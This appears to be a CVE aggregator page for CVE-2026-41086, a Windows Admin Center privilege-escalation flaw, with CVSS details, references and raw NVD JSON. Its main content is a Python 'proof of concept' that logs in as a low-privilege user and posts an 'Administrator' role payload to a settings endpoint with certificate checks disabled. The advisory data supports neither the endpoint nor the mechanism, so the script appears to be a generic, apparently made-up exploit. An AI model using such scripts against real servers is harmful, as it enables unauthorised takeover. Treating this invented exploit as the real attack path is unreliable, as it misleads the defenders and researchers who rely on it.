CVE-2026-41086

Description

Improper access control in Windows Admin Center allows an authorized attacker to elevate privileges over a network.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Windows Admin Center (具体受影响版本请参考微软安全公告)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-41086
# This script demonstrates a potential privilege escalation scenario.
# Note: Replace target_url and credentials with valid test environment values.

import requests

# Target details
target_url = "https://<wac-server>/api/management/settings"
username = "low_priv_user"
password = "user_password"

def exploit():
    # Initialize session
    session = requests.Session()

    # 1. Authenticate with low-privilege user
    login_payload = {
        "userName": username,
        "password": password
    }
    print("[*] Attempting login as {}...".format(username))
    login_response = session.post("https://<wac-server>/api/auth/login", json=login_payload, verify=False)
    
    if login_response.status_code == 200:
        print("[+] Login successful.")
        
        # 2. Send malicious request to elevate privileges (Vulnerable endpoint)
        # Exploiting improper access control on settings update
        malicious_payload = {
            "role": "Administrator",
            "permissions": ["full_control"]
        }
        
        print("[*] Sending privilege escalation request...")
        exploit_response = session.post(target_url, json=malicious_payload, verify=False)
        
        if exploit_response.status_code == 200:
            print("[+] Exploit successful! Privileges escalated.")
        else:
            print("[-] Exploit failed. Status code: {}".format(exploit_response.status_code))
    else:
        print("[-] Login failed.")

if __name__ == "__main__":
    exploit()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-41086
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-41086
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-41086/
[4] VulDB https://vuldb.com/cve/CVE-2026-41086
[5] https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-41086", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:17:20.450", "lastModified": "2026-05-13T15:34:52.573", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper access control in Windows Admin Center allows an authorized attacker to elevate privileges over a network."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41086", "source": "[email protected]"}]}}